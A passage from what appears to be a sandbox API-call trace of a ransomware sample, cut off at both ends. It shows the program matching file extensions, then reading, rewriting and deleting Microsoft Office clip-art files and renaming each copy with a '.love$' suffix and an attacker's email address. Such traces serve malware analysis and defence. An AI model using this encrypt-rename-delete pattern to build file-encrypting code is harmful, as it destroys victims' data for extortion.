lstrlenW (lpString=".xls") returned 4 [0281.427] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.427] lstrlenW (lpString=".xlsx") returned 5 [0281.427] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0281.427] lstrlenW (lpString=".ppt") returned 4 [0281.427] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0281.427] lstrlenW (lpString=".zip") returned 4 [0281.427] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.427] lstrlenW (lpString=".rar") returned 4 [0281.427] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.427] lstrlenW (lpString=".bz2") returned 4 [0281.427] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.427] lstrlenW (lpString=".7z") returned 3 [0281.427] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0281.427] lstrlenW (lpString=".dbf") returned 4 [0281.427] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0281.427] lstrlenW (lpString=".1cd") returned 4 [0281.427] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0281.427] lstrlenW (lpString=".jpg") returned 4 [0281.427] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0281.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0281.427] lstrlenW (lpString=".doc") returned 4 [0281.427] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.427] lstrlenW (lpString=".docx") returned 5 [0281.427] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0281.427] lstrlenW (lpString=".pdf") returned 4 [0281.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.428] lstrlenW (lpString=".xls") returned 4 [0281.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.428] lstrlenW (lpString=".xlsx") returned 5 [0281.428] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0281.428] lstrlenW (lpString=".ppt") returned 4 [0281.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0281.428] lstrlenW (lpString=".zip") returned 4 [0281.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.428] lstrlenW (lpString=".rar") returned 4 [0281.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.428] lstrlenW (lpString=".bz2") returned 4 [0281.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.428] lstrlenW (lpString=".7z") returned 3 [0281.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0281.428] lstrlenW (lpString=".dbf") returned 4 [0281.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0281.428] lstrlenW (lpString=".1cd") returned 4 [0281.428] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0281.428] lstrlenW (lpString=".jpg") returned 4 [0281.428] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.428] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0281.428] lstrlenW (lpString="J0106816.WMF") returned 12 [0281.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0281.430] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3332) returned 1 [0281.430] CloseHandle (hObject=0x2fc) returned 1 [0281.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf")) returned 0x220 [0281.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0281.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0281.431] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.431] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0281.433] GetLastError () returned 0x0 [0281.433] ReadFile (in: hFile=0x2fc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xd04, lpOverlapped=0x0) returned 1 [0281.435] WriteFile (in: hFile=0x304, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xd10, lpOverlapped=0x0) returned 1 [0281.437] ReadFile (in: hFile=0x2fc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.437] WriteFile (in: hFile=0x304, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.437] SetEndOfFile (hFile=0x304) returned 1 [0281.460] CloseHandle (hObject=0x304) returned 1 [0281.460] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.460] SetEndOfFile (hFile=0x2fc) returned 1 [0281.464] CloseHandle (hObject=0x2fc) returned 1 [0281.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0281.465] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf")) returned 1 [0281.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0281.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0281.467] lstrlenW (lpString=".doc") returned 4 [0281.467] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.467] lstrlenW (lpString=".docx") returned 5 [0281.467] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0281.467] lstrlenW (lpString=".pdf") returned 4 [0281.467] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.467] lstrlenW (lpString=".xls") returned 4 [0281.467] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.467] lstrlenW (lpString=".xlsx") returned 5 [0281.467] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0281.467] lstrlenW (lpString=".ppt") returned 4 [0281.467] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0281.467] lstrlenW (lpString=".zip") returned 4 [0281.467] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.467] lstrlenW (lpString=".rar") returned 4 [0281.467] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.467] lstrlenW (lpString=".bz2") returned 4 [0281.467] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.467] lstrlenW (lpString=".7z") returned 3 [0281.467] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0281.467] lstrlenW (lpString=".dbf") returned 4 [0281.467] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0281.467] lstrlenW (lpString=".1cd") returned 4 [0281.467] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0281.468] lstrlenW (lpString=".jpg") returned 4 [0281.468] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0281.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0281.468] lstrlenW (lpString=".doc") returned 4 [0281.468] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.468] lstrlenW (lpString=".docx") returned 5 [0281.468] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0281.468] lstrlenW (lpString=".pdf") returned 4 [0281.468] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.468] lstrlenW (lpString=".xls") returned 4 [0281.468] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.468] lstrlenW (lpString=".xlsx") returned 5 [0281.468] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0281.468] lstrlenW (lpString=".ppt") returned 4 [0281.468] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0281.468] lstrlenW (lpString=".zip") returned 4 [0281.468] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.468] lstrlenW (lpString=".rar") returned 4 [0281.468] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.468] lstrlenW (lpString=".bz2") returned 4 [0281.468] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.468] lstrlenW (lpString=".7z") returned 3 [0281.468] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0281.469] lstrlenW (lpString=".dbf") returned 4 [0281.469] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0281.469] lstrlenW (lpString=".1cd") returned 4 [0281.469] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0281.469] lstrlenW (lpString=".jpg") returned 4 [0281.469] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.469] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0281.469] lstrlenW (lpString="J0106958.WMF") returned 12 [0281.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0281.597] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=13784) returned 1 [0281.597] CloseHandle (hObject=0x3c0) returned 1 [0281.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 0x220 [0281.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0282.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0282.202] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.202] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0282.204] GetLastError () returned 0x0 [0282.204] ReadFile (in: hFile=0x300, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x35d8, lpOverlapped=0x0) returned 1 [0282.207] WriteFile (in: hFile=0x408, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x35e0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x35e0, lpOverlapped=0x0) returned 1 [0282.208] ReadFile (in: hFile=0x300, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.208] WriteFile (in: hFile=0x408, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.208] SetEndOfFile (hFile=0x408) returned 1 [0282.209] CloseHandle (hObject=0x408) returned 1 [0282.209] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.209] SetEndOfFile (hFile=0x300) returned 1 [0282.212] CloseHandle (hObject=0x300) returned 1 [0282.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0282.213] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 1 [0282.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0282.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0282.215] lstrlenW (lpString=".doc") returned 4 [0282.215] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.215] lstrlenW (lpString=".docx") returned 5 [0282.215] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0282.215] lstrlenW (lpString=".pdf") returned 4 [0282.215] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.215] lstrlenW (lpString=".xls") returned 4 [0282.215] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.215] lstrlenW (lpString=".xlsx") returned 5 [0282.215] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0282.215] lstrlenW (lpString=".ppt") returned 4 [0282.215] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0282.215] lstrlenW (lpString=".zip") returned 4 [0282.215] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.215] lstrlenW (lpString=".rar") returned 4 [0282.215] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.215] lstrlenW (lpString=".bz2") returned 4 [0282.215] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.215] lstrlenW (lpString=".7z") returned 3 [0282.215] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0282.215] lstrlenW (lpString=".dbf") returned 4 [0282.215] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0282.215] lstrlenW (lpString=".1cd") returned 4 [0282.215] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0282.215] lstrlenW (lpString=".jpg") returned 4 [0282.215] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0282.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0282.216] lstrlenW (lpString=".doc") returned 4 [0282.216] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.216] lstrlenW (lpString=".docx") returned 5 [0282.216] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0282.216] lstrlenW (lpString=".pdf") returned 4 [0282.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.216] lstrlenW (lpString=".xls") returned 4 [0282.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.216] lstrlenW (lpString=".xlsx") returned 5 [0282.216] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0282.216] lstrlenW (lpString=".ppt") returned 4 [0282.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0282.216] lstrlenW (lpString=".zip") returned 4 [0282.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.216] lstrlenW (lpString=".rar") returned 4 [0282.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.216] lstrlenW (lpString=".bz2") returned 4 [0282.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.216] lstrlenW (lpString=".7z") returned 3 [0282.216] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0282.216] lstrlenW (lpString=".dbf") returned 4 [0282.216] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0282.216] lstrlenW (lpString=".1cd") returned 4 [0282.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0282.216] lstrlenW (lpString=".jpg") returned 4 [0282.217] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.217] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0282.217] lstrlenW (lpString="J0107090.WMF") returned 12 [0282.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0282.218] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=14132) returned 1 [0282.218] CloseHandle (hObject=0x300) returned 1 [0282.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 0x220 [0282.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0282.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0282.219] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.219] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0282.222] GetLastError () returned 0x0 [0282.222] ReadFile (in: hFile=0x300, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x3734, lpOverlapped=0x0) returned 1 [0282.224] WriteFile (in: hFile=0x408, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x3740, lpOverlapped=0x0) returned 1 [0282.226] ReadFile (in: hFile=0x300, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.226] WriteFile (in: hFile=0x408, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.226] SetEndOfFile (hFile=0x408) returned 1 [0282.226] CloseHandle (hObject=0x408) returned 1 [0282.226] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.226] SetEndOfFile (hFile=0x300) returned 1 [0282.230] CloseHandle (hObject=0x300) returned 1 [0282.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0282.231] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 1 [0282.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0282.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0282.233] lstrlenW (lpString=".doc") returned 4 [0282.233] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.233] lstrlenW (lpString=".docx") returned 5 [0282.233] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0282.233] lstrlenW (lpString=".pdf") returned 4 [0282.233] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.233] lstrlenW (lpString=".xls") returned 4 [0282.233] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.233] lstrlenW (lpString=".xlsx") returned 5 [0282.233] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0282.233] lstrlenW (lpString=".ppt") returned 4 [0282.233] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0282.233] lstrlenW (lpString=".zip") returned 4 [0282.233] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.233] lstrlenW (lpString=".rar") returned 4 